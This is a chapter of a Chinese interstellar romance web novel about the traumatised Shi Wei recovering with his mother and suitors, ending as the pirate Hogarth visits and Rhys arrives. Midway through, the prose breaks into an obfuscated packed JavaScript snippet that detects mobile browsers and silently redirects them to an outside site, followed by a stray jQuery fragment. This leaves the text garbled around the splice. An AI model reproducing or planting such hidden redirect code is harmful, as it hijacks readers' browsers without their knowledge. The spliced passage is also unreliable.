时母一把抓住时微的手,惊喜道:“宝宝?”
守在他身边的秦霄和应杭也闻声凑近,时微张了张唇,纤弱的羽睫扇动一下,环视了一圈四周。
应杭拧眉,出声问道:“你……想起来了吗?”
时微听到他的声音,瘦弱的肩膀先是一颤,抽出被时母抓在掌心的手,瑟缩着往床内挪。
时母看着自己空落落的手,又转头去看时微,顿觉心如刀绞。
她的孩子,那个总是亲昵粘人的孩子,怎么会变成现在这个样子?
时母的心中恨得几要滴血,却还要收拾好恨不得能将把时微变成这样的人碎尸万段的心情,勉强扯出一个慈爱的笑,向时微招手:“宝宝,微微,是妈妈啊。”
“你不认识妈妈了吗?”
时母话音颤抖。
听见她的声音,时微眨了眨眼,从角落挪出来一些,转眼瞥见应杭等人,又怯怯地缩了缩肩膀。
他伸出手指,小心翼翼地勾住这个将他从婴儿时期一直拉扯长大的女人,水汪汪的眼睛睁大了些,最后又轻轻放开。
时微呜咽一声,躲进被子里不说话了。
应杭沉默,良久,他缓缓开口:“伯母,您和小微先聊,我们……先离开了。”
他最后看了眼时微,小少年将自己裹在被子里,一动不动。
等将门关上,听着从里面传来的絮絮声响,应杭颓然地一拳砸在墙上。
他咬牙道:“我去杀了霍加斯。”
秦霄没回应他的话,只是看着合上的门扉,靠在墙边,不知在想些什么。
半晌,他才问道:“那个叫艾丹的,从他嘴里问出了些什么?”
应杭:“没有。他嘴很硬,审讯的人到现在都没能撬开他的嘴。”
这倒是应杭误会了。
艾丹和布兰德一样,不是出于对里斯的忠诚和维护才一声不吭的,而是因为他们都不知道里斯的下落。
就连艾丹,也只是接收到了里斯的任务后,便迫不及待地马上循着坐标来捉走时微。
秦霄若有所思,回道:“不用问了,直接杀了。”
他想起什么,又改了主意:“不行,就这样让他去死有些太便宜他了。”
应杭沉吟半晌,说:“等小微醒来吧。”
他看向窗外,米切星气候宜人,常年开着姹紫嫣红的花。
从窗框中往外看去,像是一幅被裱好的画。
应杭:“等小微清醒后,让他亲自决定,该如何处置艾丹。”
如果时微太过心软,那应杭会在不让他知道的情况下,让那些人得到应有的惩罚。
-
时微醒来的消息,不知是如何被霍加斯得知的。
星盗在听说时微对时家父母表现出了超乎以往的依赖后,便一厢情愿地以为时微恢复了神智,说什么也要进来看他。
结果时微还是不认识人,或者说,他认识的只有自己的父母,连应杭和秦霄靠近他,都会被他小声尖叫着躲开。
更不要提霍加斯。
在几次尝试接近时微未果后,他被时家父母委婉地拒于门外,一生恣意潇洒的星盗在时微这尝到了不知几次挫败的滋味。
但他并不想放弃。
哪怕死缠烂打,霍加斯也想让时微再看看自己,哪怕是嫌弃厌恶的一眼。
如果再给他一次机会,霍加斯发誓,他再也不会像之前一样,肆意地拿少年的真切关心当玩具。
联邦的人不像时家父母一样的那么讲文明,拿拳头揍了霍加斯几顿后,还是没能将这个没脸没皮的家伙赶出米切星。
这天,秦霄和应杭留在时微家吃饭,饭桌上,应杭原本还在担心自己的存在会让时微不舒服,想带着饭出去吃,却被一只小手揪住衣角。
他转过头去,时微正低着脸,白嫩的脸颊鼓起一点,耳尖红彤彤的,小声道:“哥、哥哥……吃……”
嗓音又甜又软,像块粘腻腻的蜜糖,应杭在那一瞬间不知所措。
秦霄在饭桌边托着腮,一脸不爽,酸溜溜地刺了一句:“怎么没见叫我哥哥,真是……”
时微小心翼翼地看他一眼,下垂的眼尾瞧着有些可怜,另一只手搓着自己的衣摆,嗫嚅着,声若蚊蝇:“叫,叫了的……”
他像是对秦霄这种冤枉他的行为有些不满,但因为脾气实在软得要命,又畏惧秦霄,连大声反驳都不敢。
秦霄看着他,拨弄碗中饭菜的动作一停。
不知为何,他看着这样的时微,总觉得像是看到了那段视频中羞涩腼腆的少年。
秦霄轻轻呼出一口气,才又挂上一样狂野的笑:“嗯嗯,叫了的。”
男人明明是顺着时微的话说的,时微却像是害怕,颤抖着收回手,低下头,又变回了一声不吭的闷闷小葫芦。
他每天只有一会儿清醒的功夫,剩下的时间大多是封闭懵懂的,甚至害怕别人的接近,像个低电量的小电池。
从厨房里出来的时母恰好看见这一幕,在时微要哭着闹起来前,将手往围裙上擦了擦,一把抱住她的孩子,轻轻拍着时微的背安抚着。
“乖,宝宝乖,我们进屋睡觉好不好?”时母拉着时微的肩,注视着自己的孩子,柔声问道。
她的孩子生得太过漂亮,从前在米切星上,还是小娃娃的时微就能轻易地吸走所有人的目光。
大大小小的孩子都争着要和还是宝宝的时微玩,他们叫他公主,甚至还要为了抢夺守护公主的位置大打出手。
邻居们看了时微也总会露出笑容,乡里乡外,没有一个不喜欢他的。
在这颗过于淳朴的星球上,时微被所有人捧在掌心娇惯着,逐渐长成一朵昳丽清艳的花。
时母从前十分骄傲,自己的孩子是那么优秀,又是那么漂亮。她养出了一颗闪着光芒的明珠。
但现在看着时微这样,时母只觉得自己的心滴血一样的疼。
她的孩子有着那样的美貌,他们却没有守护好他的能力,时母在这一刻,自责到了极点。
无论她怎样告诉自己,大不了就当作把自己的孩子再养一遍,但看着时微身上落下的疤,没人会比时母更加心痛。
时微的手指动了动。
他的目光落在母亲的脸上,蔷薇般的唇抿了抿,似有绕在舌尖的话被他再度咽下。
最后,时微只是抬起细瘦的手臂,环在妈妈的腰上,将自己的脸埋了进去。
“……嗯。”声音闷闷的。
时母脸上露出一个温和的笑,随即朝联邦的两人歉意地点点头,推着时微的轮椅走进他的房间。
应杭看着时微的背影,不知第几次叹气后,拿起筷子夹了点菜送进嘴里,随即愣住。
在尝到时母手艺的一瞬间,应杭便明白过来,为什么那天在星舰上,时微闻到那样的气味会那般激动。
因为真的很像。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409700|171793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
米切星上的原住民,做饭都带着股独特的风味。
那天的时微,原来是闻到了妈妈的味道。
-
这样的日子又过了几天。
应杭本以为时微离恢复的日子不远了,毕竟他在与妈妈相处的时候,是那么的温馨而宁静。
但那层即将被捅破的膜,不知为何,又像是被时微刻意地保留着。
几个男人包括时微的父亲,都以为是那些记忆对时微来说太过痛苦,让他下意识地想要忘记。
只有时母不认同这个说法。
她的宝贝是全星际最优秀最厉害的宝贝,即便看着像一团可以随意搓圆捏扁的软绵花,但没人会比时微更加坚强。
只是出于什么原因,时微才会选择这样,时母坚定不移地相信着。
米切星的风景很漂亮,时母偶尔会推着时微的轮椅出去,让时微能够呼吸新鲜的空气。
这里是他从小长大的地方。
霍加斯来的时候,时微正坐在一片花海前。
绚丽多彩的花朵被轻风吹动时,连绵地涌成一片斑斓的海。
时微坐在轮椅上,未束起的发丝随风飘动,清瘦的背影放松地倚靠在椅背上,两手交叠放在绒毯上,露出的半边侧脸柔和而平静。
霍加斯莫名地不敢上前,他仓皇地咽了咽口水,整理了一下衣袖,才走到时微身后。
男人将放在背后的花环拿了出来,这是他请教了当地的居民,废了不知多少个夜晚编织而成的。
他咽了咽口水,将花环轻轻放在时微的头上,小心观察着时微的反应。
少年只是静静地坐在那,淡金色的眼睛沉默地注视着涌动的花海,浅粉色的唇抿成一条直线。
霍加斯看不出他的心情,于是忐忑地走到时微面前,单膝下跪,随即,另一条腿的膝盖也放了下来。
男人跪在了时微的面前,用手轻轻拢起少年的两只手,用时微曾经替他暖手的手法,轻轻包裹着。
“冷吗?”霍加斯开口问道。
时微置若罔闻,霍加斯也不催促他,只是静静地等着。
不知等了多久,直到微风也停下后,时微才缓缓转动眼珠,将视线落在了霍加斯的身上。
霍加斯在这一瞬间,屏住了呼吸。
不要躲开,不要怕我。
他在心里暗暗祈祷。
此时的星盗连抬头看一眼时微都不敢,因此也就自然没有发现自那双浅色眼瞳中所浮现的,一缕奇异的流光。
掌心下有些凉意的小手最终还是瑟缩着,从霍加斯的桎梏中避开了。
看着时微的动作,霍加斯心头一空,但来不及感到失落,他连忙出声:“别害怕,小微,我马上就走。”
他知道时微现在容易受惊,因此只是苦笑一下,随即转身。
十几天前的星盗完全不敢想象,自己会因为害怕时微的一个动作,小心翼翼到这种地步。
时微没有挽留霍加斯。
少年看着身前的这片花海,幼年时的自己,会和好友嬉笑打闹着从花海中穿过。
而如今,幼年的虚影朝他跑来,慢慢地消失在眼中,取而代之的,是一双闪着冰冷光泽的军靴。
时微缓缓抬头,雪白的发丝从他的面颊上落了下去,露出那双美丽的、笼着薄雾的眼睛。
里斯。
他望着来人,在心里慢慢地,一字一顿的,念出这个名字。